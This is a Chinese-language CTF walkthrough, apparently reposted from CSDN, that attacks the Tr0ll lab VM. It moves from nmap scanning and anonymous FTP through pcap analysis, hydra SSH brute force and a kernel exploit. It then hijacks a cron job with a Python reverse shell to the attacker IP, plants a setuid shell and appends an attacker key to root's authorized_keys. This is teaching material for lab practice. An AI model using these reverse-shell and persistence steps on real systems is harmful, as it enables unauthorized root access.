【网络安全】经典靶场实战:从信息收集到提权的全过程

前言

本次采用Tr0ll经典项目作为靶场,模拟互联网环境,演示从信息收集到最后提权的全过程。本次实验所涉及到的技术有端口扫描、流量分析、文件分析、hydra爆破、各种反弹shell、稳定shell、计划任务反弹shell(提权),公私钥互碰等一系列基本操作,适合入门不久的初学者练习。

攻击机:192.168.160.3

受害机:192.168.160.7

一、信息收集

1、全端口扫描

nmap -p- 192.168.160.7

发现开放21、22、80端口

2、nmap详细扫描

nmap -sS -sV -A -T5 192.168.160.7

发现ftp存在默认密码Anonymous

3、登入ftp

使用默认账号密码Anonymous/Anonymous登入ftp

ftp 192.168.160.7

dir查看
get下载
put上传

发现存在lol.pcap流量包

【→所有资源关注我,私信回复“资料”获取←】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记

4、分析流量包

使用wireshark 分析流量

wireshark lol.pcap

右键追踪tcp流

得到信息secret_stuff.txt

追踪第二条tcp流,得到信息sup3rs3cr3tdirlol

经过排查sup3rs3cr3tdirlol是个目录,里面有个roflmao文件

5、分析文件

下载该文件,分析后发现是个32位文件

file roflmao

分析文件信息

exiftool roflmao
binwalk roflmao
strings roflmao

得到信息:0x0856BF

发现0x0856BF目录存在信息,将信息做成密码本zhi.txt

Pass.txt里面没啥东西,文件名可能有用

二、暴力破解

1、hydra爆破

使用hydra爆破,将刚才收集的作为账号本,文件名Pass.txt做为密码字段进行ssh爆破

hydra -L zhi.txt -p Pass.txt 192.168.160.7 ssh

得到账号密码:overflow、Pass.txt

2、登入ssh

ssh [email protected]

稳定shell
python -c 'import pty;pty.spawn("/bin/bash")'

三、提权

1、查看系统版本

uname -a

发现是Linux ubuntu 3.13.0

2、搜索提权exp

searchsploit Linux ubuntu 3.13.0

复制到桌面
cp /usr/share/exploitdb/exploits/linux/local/37292.c /root/Desktop/

3、查看exp

gedit 37292.c

exp里有使用教程

python开启http服务,远程下载

python -m http.server 8520
wget http://192.168.160.3/37292.c

四、拓展

提权后发现shell过几分钟就会断开,应该是设置了计划任务

1、查看计划任务

find / -name cronlog 2>/dev/null    ---查看计划任务日志信息
find / -name cleaner.py 2>/dev/null   ---查看文件在哪儿

发现计划任务设置每5分钟删除tmp目录下文件,并且没有该计划任务的权限

1、反弹shell

枚举所有可写入可修改的文件

find / -writable 2>/dev/null   ---枚举所有可写入权限的文件
find / -perm -o+w -type f 2> /dev/null | grep /proc -v   ---枚举

修改计划任务文件cleaner.py

nano /lib/log/cleaner.py
ctrl+x退出,y保存

修改为

#!/usr/bin/python
def con():
	import socket, time,pty, os
	host='192.168.160.3'
	port=2233
	s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.settimeout(10)
	s.connect((host,port))
	os.dup2(s.fileno(),0)
	os.dup2(s.fileno(),1)
	os.dup2(s.fileno(),2)
	os.putenv("HISTFILE",'/dev/null')
	pty.spawn("/bin/bash")
	s.close()
con()
nc -lvvp 2233

成功回弹root权限

2、创建root可执行程序

修改计划任务

os.system('cp /bin/sh /tmp/zhi')
os.system('chmod u+s /tmp/zhi')

3、写入ssh rsa

生成ssh key

ssh-keygen   ---一路空格回车

cat id_rsa.pub
ssh-rsa 
AAAAB3NzaC1yc2EAAAADAQABAAABgQCeLZfgzSuFUU8hGMMQkqPEho/ikzjqvPQDKpSTXuCalQJNohE5HpFWf/3IaAiNSyXCKB/Fus81X7WL9l6+sBMkkB5DRtbDh8OapsavE6LWNDs0nJJmS3JtE6jmJAkuP/9EuPreUFIwTDw43B1dhSMNygwogAmno2zJ323prOskCkTZOtpxvhwXNjmnhI3FXlkLOReVVZc3sWvm1PUkN8/gZN9WqjVNq9J8Gl7QexU++Jrt7MbWMhx9y8qAQXNVwqohxSW+poQeBDWdyG8= root@kali

计划任务写入密钥

mkdir /root/.ssh; chmod 775 .ssh; echo "加上 id_rsa.pub产生的密匙内容上图有例子" >> /root/.ssh/authorized_keys

即

mkdir /root/.ssh; chmod 775 .ssh; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCeLZfgzSuFUU8hGMMQkqPEho/ikzjqvPQDKpSTXuCalQJNohE5HpFWf/3IaAii7r0BvJGXQ6Wk/eIrX8IxsCU23jmnigWlQkxwabscxGXs/Ng0a9vLyseI5+PuY9x881NMoi1YIJAoqBnNSyXCKB/Fus81X7WL9l6+sBMkkB5DRtbDh8OapsavE6LWNDs0nJJmS3JtE6jmJAkuP/9EuPreUFIwTDw43B1dhSMNygwogAmno2MKhvaFoSmHzxBX+TG4/FM3jYQrF8A6LTCWSQlo7bChcCvLpDOy7LBqLQy0U+pjLcH/xv105MVqxNpG+szJ323prOskCkTZOtpxvhwXNjmnhI3FXlkLOReVVZc3sWvm1PUkN8/gZN9WqjVNq9J8Gl7QexU++Jrt7MbWMhx9y8qAQXNVwqohxtCQ+qstFm6KzlXei1Yd6vIQLDWyS67rnWGt0caKEBkIengjEwfb5zoImkQFxKYpapqBbH+oGAuzDQk6jSW+poQeBDWdyG8= root@kali" >> /root/.ssh/authorized_keys

公私钥互碰,无需输入密码

ssh [email protected]

猜你喜欢

转载自blog.csdn.net/HBohan/article/details/123616699